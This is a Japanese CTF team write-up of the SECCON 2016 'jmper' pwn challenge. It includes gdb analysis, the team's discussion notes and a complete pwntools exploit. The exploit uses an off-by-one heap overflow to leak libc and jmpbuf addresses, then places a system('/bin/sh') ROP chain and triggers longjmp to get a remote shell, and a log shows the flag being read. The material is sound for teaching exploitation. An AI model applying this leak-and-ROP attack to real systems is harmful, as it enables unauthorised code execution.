jmper

問題概要

ジャンル

exploit

点数

300 points

問題文

jmper
Host : jmper.pwn.seccon.jp
Port : 5656

jmper (SHA1 :78e21967c2de5988876df938559a850e24a000af)

libc-2.19.so (SHA1 :8674307c6c294e2f710def8c57925a50e60ee69e)

フラグ

SECCON{3nj0y_my_jmp1n9_serv1ce}

挑戦者

ぴんく
K_atc

解法

詳しいことは議論参照

from pwn import * from sys import argv # context.log_level = 'debug' def bp(): raw_input("break point: ") LOCAL = True if len(argv) > 1 and argv[1] == "r": LOCAL = False """libc % readelf -s libc-2.24.so| grep " puts@" 403: 0000000000068fe0 528 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5 % readelf -s libc-2.24.so| grep " system@" 1353: 000000000003f4d0 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5 % strings -tx libc-2.24.so | grep /bin/sh 161359 /bin/sh % readelf -s libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e | grep " puts@" 400: 000000000006fd60 399 FUNC WEAK DEFAULT 12 puts@@GLIBC_2.2.5 % readelf -s libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e | grep " system" 1337: 0000000000046590 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5 % strings -tx libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e | grep /bin/sh 17c8c3 /bin/sh """ BIN = "./jmper" e = ELF(BIN) r = None offset = {} if LOCAL: r = process(BIN) offset = {"puts": 0x68fe0, "system": 0x3f4d0, "/bin/sh": 0x161359, "one_gadget": 0xb8a38} else: r = remote("jmper.pwn.seccon.jp", 5656) # TODO offset = {"puts": 0x6fd60, "system": 0x46590, "/bin/sh": 0x17c8c3, "one_gadget": 0xe66bd} """ Welcome to my class. My class is up to 30 people :) 1. Add student. 2. Name student. 3. Write memo 4. Show Name 5. Show memo. 6. Bye :) """ def add_student(): r.recvuntil("6. Bye :)\n") r.sendline("1") def name_student(_id, name): r.recvuntil("6. Bye :)\n") r.sendline("2") r.recvuntil("ID:") r.sendline(str(_id)) r.recvuntil("Input name:") r.sendline(name) def write_memo(_id, memo): r.recvuntil("6. Bye :)\n") r.sendline("3") r.recvuntil("ID:") r.sendline(str(_id)) r.recvuntil("Input memo:") r.sendline(memo) def show_name(_id): r.recvuntil("6. Bye :)\n") r.sendline("4") r.recvuntil("ID:") r.sendline(str(_id)) return r.recvline().replace("1. Add student.\n", "") def show_memo(_id): r.recvuntil("6. Bye :)\n") r.sendline("5") r.recvuntil("ID:") r.sendline(str(_id)) return r.recvline().replace("1. Add student.\n", "") def bye(): r.recvuntil("6. Bye :)\n") r.sendline("6") add_student() # student 0 add_student() # student 1 log.info('==== [information leak] ====') write_memo(0, "A" * 0x20 + "\x78") name_student(0, p64(e.symbols["jmpbuf"])) ret = show_name(1) jmpbuf = u64(ret.ljust(8, '\0')) print "*jmpbuf = %#x" % jmpbuf write_memo(0, "A" * 0x20 + "\x78") name_student(0, p64(jmpbuf+0x38)) ret = show_name(1) rdx_old = u64(ret.ljust(8, '\0')) print "rdx_old = %#x" % rdx_old puts_got_plt = 0x601fa0 write_memo(0, "A" * 0x20 + "\x78") name_student(0, p64(puts_got_plt)) ret = show_name(1) puts_addr = u64(ret.ljust(8, '\0')) print "puts_addr = %#x" % puts_addr libc_base_addr = puts_addr - offset["puts"] print "libc base address = %#x" % libc_base_addr system_addr = libc_base_addr + offset["system"] print "system = %#x" % system_addr binsh_addr = libc_base_addr + offset["/bin/sh"] print "'/bin/sh' = %#x" % binsh_addr write_memo(0, "A" * 0x20 + "\x78") name_student(0, p64(jmpbuf + 0x18)) ret = show_name(1) ebp = u64(ret.ljust(8, '\0')) ebp -= 0x2a0 - 0x1c0 print "ebp = %#x" % ebp log.info('==== [rewrite jmpbuf] ====') def ror(v, y): return ((v >> y) | (v << (64 - y))) & (2 ** 64 - 1) def rol(v, y): return ((v << y) | (v >> (64 - y))) & (2 ** 64 - 1) """rop gdb-peda$ asmsearch "pop rdi; ret" Searching for ASM code: 'pop rdi; ret' in: binary ranges 0x00400cc3 : (5fc3) pop rdi; ret """ pop_rdi_addr = 0x00400cc3 ROP = ''.join([ p64(pop_rdi_addr), p64(binsh_addr), # arg1 p64(system_addr), # system(*) ]) # TARGET_RIP = 0x114514 # TARGET_RIP = libc_base_addr + offset["one_gadget"] # TARGET_RIP = ebp # x = ror(rdx_old, 0x11) ^ 0x400c31 # rdx_new = rol(TARGET_RIP ^ x, 0x11) # JMPBUF = ''.join([ # p64(rdx_new), # jmpbuf+0x38 # ]) # up to 0x20 byes # write_memo(0, "A" * 0x20 + "\x78") # name_student(0, p64(jmpbuf + 0x38)) # name_student(1, JMPBUF) write_memo(0, "A" * 0x20 + "\x78") name_student(0, p64(ebp + 0x8)) name_student(1, ROP) for i in range(2, 30): add_student() bp() # evoke longjmp() r.recvuntil("6. Bye :)\n") r.sendline("1") print r.recvline() r.interactive()
[katc@K_atc jmper]$ python2 jmper2.py r
[+] Opening connection to jmper.pwn.seccon.jp on port 5656: Done
[*] ==== [information leak] ====
*jmpbuf = 0x1374110
rdx_old = 0x0
puts_addr = 0x7eff3c942d60
libc base address = 0x7eff3c8d3000
system = 0x7eff3c919590
'/bin/sh' = 0x7eff3ca4f8c3
ebp = 0x7ffea0869f00
[*] ==== [rewrite jmpbuf] ====
break point: 
Exception has occurred. Jump!

[*] Switching to interactive mode
Nice jump! Bye :)
$ ls
flag
jmper
$ cat flag
SECCON{3nj0y_my_jmp1n9_serv1ce}
[*] Got EOF while reading in interactive

議論

気づき:

  • heap問ぽい
  • my_classとjmpbufという構造体ないしは配列あり
  • しふくろくん作問なら80%知識問な気がする(確信レベル)
  • glibc mallocのチャンクの知識は不要
  • off-by-one errorで何か書き換えられる?

解法:

  1. setjmp()→f()
  2. ヒープオーバーフローからのjmpbuf破壊
  3. longjmpによる破壊済みcontextの復帰
  4. One-Gadget RCE(確度60%)
    • 文脈的にスタックを使用せずにシェルを呼ぶ問題な気がする

TODO:

  • mainをデコンパイル
  • fをデコンパイル@ぴんく f()をhopperでdecomplieしたやつ
  • f()でmy_classをヒープオーバーフローさせられるか?(=off-by-one error)
  • *jmpbufのリーク
  • longjmp後にRIPを取れるかどうか
  • One-Gadgetのアドレス調査【ローカル:可、リモート:不可】
    • 【後日談】rspを空っぽのところに向けていれば可能だった
  • rdi = &"/bin/sh", rip = system_longjmpでrdiを使用するため不可)
  • jmpbufから$rbpをリーク可能→system("/bin/sh") ROP

表層調査

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

gdb-peda$ i func \@plt
All functions matching regular expression "\@plt":

Non-debugging symbols:
0x0000000000400680  puts@plt
0x0000000000400690  printf@plt
0x00000000004006a0  __libc_start_main@plt
0x00000000004006b0  _setjmp@plt
0x00000000004006c0  getchar@plt
0x00000000004006d0  __gmon_start__@plt
0x00000000004006e0  malloc@plt
0x00000000004006f0  setvbuf@plt
0x0000000000400700  longjmp@plt
0x0000000000400710  __isoc99_scanf@plt
0x0000000000400720  exit@plt
  • SSPが無いので単純なスタックオーバーフローからのRIP奪取の可能性あり
  • スタック上にシェルコードを置く問題ではない
  • GOT書き換えは可能(?)
    • free@pltが無いのでUnlink Attackはノーチャン
gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r-xp  /home/katc/Dropbox/CTF/SECCON-2016-Quals/jmper/jmper
0x00601000         0x00602000         r--p  /home/katc/Dropbox/CTF/SECCON-2016-Quals/jmper/jmper
0x00602000         0x00603000         rw-p  /home/katc/Dropbox/CTF/SECCON-2016-Quals/jmper/jmper
0x00603000         0x00624000         rw-p  [heap]
0x00007ffff7a3c000 0x00007ffff7bd1000 r-xp  /usr/lib/libc-2.24.so
0x00007ffff7bd1000 0x00007ffff7dd0000 ---p  /usr/lib/libc-2.24.so
0x00007ffff7dd0000 0x00007ffff7dd4000 r--p  /usr/lib/libc-2.24.so
0x00007ffff7dd4000 0x00007ffff7dd6000 rw-p  /usr/lib/libc-2.24.so
0x00007ffff7dd6000 0x00007ffff7dda000 rw-p  mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp  /usr/lib/ld-2.24.so
0x00007ffff7fb2000 0x00007ffff7fb4000 rw-p  mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p  [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp  [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /usr/lib/ld-2.24.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /usr/lib/ld-2.24.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]
  • わざとらしい実行可能領域なし
root@kali:~/Desktop# readelf -r jmper 

Relocation section '.rela.dyn' at offset 0x4f8 contains 3 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000601ff8  000600000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000602010  000c00000005 R_X86_64_COPY     0000000000602010 stdout@GLIBC_2.2.5 + 0
000000602018  000d00000005 R_X86_64_COPY     0000000000602018 stdin@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x540 contains 11 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000601fa0  000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000601fa8  000200000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000601fb0  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000601fb8  000400000007 R_X86_64_JUMP_SLO 0000000000000000 _setjmp@GLIBC_2.2.5 + 0
000000601fc0  000500000007 R_X86_64_JUMP_SLO 0000000000000000 getchar@GLIBC_2.2.5 + 0
000000601fc8  000600000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__ + 0
000000601fd0  000700000007 R_X86_64_JUMP_SLO 0000000000000000 malloc@GLIBC_2.2.5 + 0
000000601fd8  000800000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000601fe0  000900000007 R_X86_64_JUMP_SLO 0000000000000000 longjmp@GLIBC_2.2.5 + 0
000000601fe8  000a00000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
000000601ff0  000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
  • xinetd型
  • mallocがある
  • SETJMP, LONGJMP(下のMAN参照されたし)
    ↑exploitに関係あるの?←longjmp呼び出し時にcontextの復元が発生するのがミソなのかな?と

ヒープオーバーフローの可能性

gdb-peda$ b *0x400c2c
gdb-peda$ r
gdb-peda$ p/x my_class
$3 = 0x603010
gdb-peda$ p/x jmpbuf
$4 = 0x603110
gdb-peda$ x/2xg my_class-8
0x603008:   0x0000000000000101  0x0000000000000000
  • 典型的な並び(jmpbufを壊してくださいと言っている)
  • my_classのmalloc要求サイズは0xf0、チャンクサイズは0x100

Nice jumpさせたい←登録した生徒の人数が30人超えれば自動でなる?→なった(以下参照)

heap bof 案:

  • Add studentすることなく、student_num を30よりも大きい値にする

制限事項:

  • ユーザー入力のIDは非負整数かつstument_numよりも小さいこと
loc_400a16:
    printf("%s", "Input memo:");
    tmp = *(*my_class + sign_extend_64(id) * 0x8) + 0x8;
    for (i = 0x0; i <= 0x20; i = i + 0x1) {
            c = getchar();
            if (c == '\n') {
                break;
            }
            *(int8_t *)student_index = c & 0xff;
            tmp = tmp + 0x1;
    }
    goto loc_40082f;
  • 入力を取るところの構文は共通
  • off-by-one errorあるんだけど役立つように見えない←それ
  • student->m28(name)のアドレスの下位1バイトを書き換えることはできる
    • 生徒0のnameはjmpbufの少し後ろにくる(+0x110)

生徒を30人Allocateし、memoを取ったときのヒープ

gdb-peda$ x/32x *my_class
0xeef1e0:   0x0000000000000000  0x30746e6541414141
0xeef1f0:   0x4141414141414141  0x4141414141414141
0xeef200:   0x4141414141414141  0x0000000000eef241
                                                ~~
                                        off-by-one
0xeef210:   0x0000000000000000  0x0000000000000031
0xeef220:   0x0000000000000000  0x0000000000000000
0xeef230:   0x0000000000000000  0x0000000000000000
0xeef240:   0x0000000000000000  0x0000000000000041
0xeef250:   0x0000000000000001  0x31746e6541414141
0xeef260:   0x4141414141414141  0x4141414141414141
0xeef270:   0x4141414141414141  0x0000000000eef241
0xeef280:   0x0000000000000000  0x0000000000000031
0xeef290:   0x0000000000000000  0x0000000000000000
0xeef2a0:   0x0000000000000000  0x0000000000000000
0xeef2b0:   0x0000000000000000  0x0000000000000041
0xeef2c0:   0x0000000000000002  0x32746e6541414141
0xeef2d0:   0x4141414141414141  0x4141414141414141

gdb-peda$ x/16xg jmpbuf 
0x1fd0110:  0x0000000000000000  0x913fb48ce746087b
0x1fd0120:  0x0000000000400730  0x00007ffc917484a0
0x1fd0130:  0x0000000000000000  0x0000000000000000
0x1fd0140:  0x913fb48ce7a6087b  0x6ec696e5f8a4087b
0x1fd0150:  0x0000000000000000  0x0000000000000000
0x1fd0160:  0x0000000000000000  0x0000000000000000
0x1fd0170:  0x0000000000000000  0x0000000000000000
0x1fd0180:  0x0000000000000000  0x0000000000000000

gdb-peda$ p/x jmpbuf
$2 = 0x1fd0110
            ~~

my_class[0] == 0x1fd01e0
                      ~~
my_class[0]->m28 = 0x0000000001fd0220 ←20は書き換えられる
                                 ~~~~

①最初:

0x0110: 0x???        memo[0:8]
0x0120: memo[8:16]   memo[16:24]
0x0130: memo[24:32]  0x0220(name_ptr)

②off-by-one error後、nameのポインタが生徒1のnameの位置を指す:

0x0110: 0x???        memo[0:8]
0x0120: memo[8:16]   memo[16:24]
0x0130: memo[24:32]  0x0258(name_ptr)
... sniped ...
0x0270: 0x???        (name)←生徒0の名前で書き換え可能
0x0280: ... snipped ...

③生徒0の名前(=jmpbuf【※要リーク】)をつける:

0x0110: 0x???        memo[0:8]
0x0120: memo[8:16]   memo[16:24]
0x0130: memo[24:32]  0x0258(name_ptr)
... sniped ...
0x0250: 0x???        jmpbuf
0x0260: ... snipped ...

④生徒1の名前を書く:

my_class[1]->m28 = user_input (0x21bytes)

jmpbuf = user_input (0x21bytes)

と同等

jmpbuf

f()呼び出し直前のjmpbufの中身:

gdb-peda$ x/16xg jmpbuf 
0x603110:   0x0000000000000000  0xe75f6d039676f11f
0x603120:   0x0000000000400730  0x00007fffffffe2a0
0x603130:   0x0000000000000000  0x0000000000000000
0x603140:   0xe75f6d039696f11f  0x18a0927c4d94f11f
0x603150:   0x0000000000000000  0x0000000000000000
0x603160:   0x0000000000000000  0x0000000000000000
0x603170:   0x0000000000000000  0x0000000000000000
0x603180:   0x0000000000000000  0x0000000000000000

gdb-peda$ i r
rax            0x0  0x0
rbx            0x0  0x0
rcx            0x7ffff7dd4ae0   0x7ffff7dd4ae0
rdx            0xe75f6d039696f11f   0xe75f6d039696f11f
rsi            0x0  0x0
rdi            0x603110 0x603110
rbp            0x7fffffffe1c0   0x7fffffffe1c0
rsp            0x7fffffffe1b0   0x7fffffffe1b0
rip            0x400c34 0x400c34 <main+140>

setjmp()直前

RBP: 0x7fffffffe1c0 --> 0x400c60 (<__libc_csu_init>:    push   r15)
RSP: 0x7fffffffe1b0 --> 0x7fffffffe2a0 --> 0x1 
RIP: 0x400c2c (<main+132>:  call   0x4006b0 <_setjmp@plt>)
  • レジスタの値が入ってますな

http://www.nurs.or.jp/~sug/soft/super/longjmp.htm
__jmp_buf の定義は、Linux だと bits/setjmp.h にある。

#if defined __USE_MISC || defined _ASM
# define JB_BX  0   /* それぞれ、レジスタの名前 */
# define JB_SI  1
# define JB_DI  2
# define JB_BP  3   /* ベースポインタ */
# define JB_SP  4   /* スタックポインタ */
# define JB_PC  5   /* プログラムカウンタ */
#endif

#ifndef _ASM
typedef int __jmp_buf[6];  /* 要するに __jmp_buf は int 6個の配列 */
#endif

_longjmp

gdb-peda$ disas __longjmp
Dump of assembler code for function __longjmp:
   0x00007fcf4f3e1160 <+0>: mov    r8,QWORD PTR [rdi+0x30]
   0x00007fcf4f3e1164 <+4>: mov    r9,QWORD PTR [rdi+0x8]
   0x00007fcf4f3e1168 <+8>: mov    rdx,QWORD PTR [rdi+0x38]
   0x00007fcf4f3e116c <+12>:    ror    r8,0x11
   0x00007fcf4f3e1170 <+16>:    xor    r8,QWORD PTR [rip+0x209ad9]        # 0x7fcf4f5eac50 <__pointer_chk_guard_local>
   0x00007fcf4f3e1177 <+23>:    ror    r9,0x11
   0x00007fcf4f3e117b <+27>:    xor    r9,QWORD PTR [rip+0x209ace]        # 0x7fcf4f5eac50 <__pointer_chk_guard_local>
   0x00007fcf4f3e1182 <+34>:    ror    rdx,0x11
   0x00007fcf4f3e1186 <+38>:    xor    rdx,QWORD PTR [rip+0x209ac3]        # 0x7fcf4f5eac50 <__pointer_chk_guard_local>
   0x00007fcf4f3e118d <+45>:    mov    rbx,QWORD PTR [rdi]
   0x00007fcf4f3e1190 <+48>:    mov    r12,QWORD PTR [rdi+0x10]
   0x00007fcf4f3e1194 <+52>:    mov    r13,QWORD PTR [rdi+0x18]
   0x00007fcf4f3e1198 <+56>:    mov    r14,QWORD PTR [rdi+0x20]
   0x00007fcf4f3e119c <+60>:    mov    r15,QWORD PTR [rdi+0x28]
   0x00007fcf4f3e11a0 <+64>:    mov    eax,esi
   0x00007fcf4f3e11a2 <+66>:    mov    rsp,r8
   0x00007fcf4f3e11a5 <+69>:    mov    rbp,r9
   0x00007fcf4f3e11a8 <+72>:    jmp    rdx
End of assembler dump.

MAN page of SETJMP, LONGJMP

https://linuxjm.osdn.jp/html/LDP_man-pages/man3/setjmp.3.html

void longjmp(jmp_buf env, int val);
int setjmp(jmp_buf env);

名前

setjmp, sigsetjmp - 非局所的なジャンプのために、スタックコンテキスト (stack context) を保存する

説明

setjmp() と longjmp(3) は、プログラムの低レベルなサブルーチン において、エラーや割り込みが発生した時の処理に便利である。 setjmp() は、 longjmp(3) によって使われる env に スタックコンテキスト/スタック環境を保存する。 setjmp() を呼び出した 関数が返るときに、そのスタックコンテキストは無効になる。

longjmp() は、env 引き数を指定して呼び出された最後の setjmp(3) によって保存された環境を復元する。 longjmp() の完了後、プログラムの実行は、まるで対応する setjmp(3) の呼び出しが値 val で返って来たかように続行される。 longjmp() は 0 を返すように指示することはできない。 二番目の引き数に 0 を指定して longjmp() が呼ばれた場合は、代わりに 1 が返されることになる。

返り値

直接返ってくるときは、 setjmp() と sigsetjmp() は 0 を返し、保存したコンテキストを使って longjmp(3) や siglongjmp(3) から返ってくるときは 0 以外を返す。

配布されたlibcにおけるOne-Gadget

TODO

コード置き場

from pwn import *
from sys import argv

# context.log_level = 'debug'

def bp():
    raw_input("break point: ")

LOCAL = True
if len(argv) > 1 and argv[1] == "r":
    LOCAL = False

BIN = "./jmper"
e = ELF(BIN)
r = None
offset = {}
if LOCAL:
    r = process(BIN)
    offset = {"setbuf": 0x66e20, "system": 0x3af40, "/bin/sh": 0x15ef08}
else:
    r = remote("cheermsg.pwn.seccon.jp", 30527)
    offset = {"setbuf": 0x67b20, "system": 0x40310, "/bin/sh": 0x16084c}

"""
Welcome to my class.
My class is up to 30 people :)
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
"""

def add_student():
    r.recvuntil("6. Bye :)\n")
    r.sendline("1")

def name_student(_id, name):
    r.recvuntil("6. Bye :)\n")
    r.sendline("2")
    r.recvuntil("ID:")
    r.sendline(str(_id))
    r.recvuntil("Input name:")
    r.sendline(name)

def write_memo(_id, memo):
    r.recvuntil("6. Bye :)\n")
    r.sendline("3")
    r.recvuntil("ID:")
    r.sendline(str(_id))
    r.recvuntil("Input memo:")
    r.sendline(memo)

def show_name(_id):
    r.recvuntil("6. Bye :)\n")
    r.sendline("4")
    r.recvuntil("ID:")
    r.sendline(str(_id))
    return r.recvline().replace("1. Add student.\n", "")

def show_memo(_id):
    r.recvuntil("6. Bye :)\n")
    r.sendline("5")
    r.recvuntil("ID:")
    r.sendline(str(_id))
    return r.recvline().replace("1. Add student.\n", "")

def bye():
    r.recvuntil("6. Bye :)\n")
    r.sendline("6")

for i in range(30):
    add_student()

r.interactive()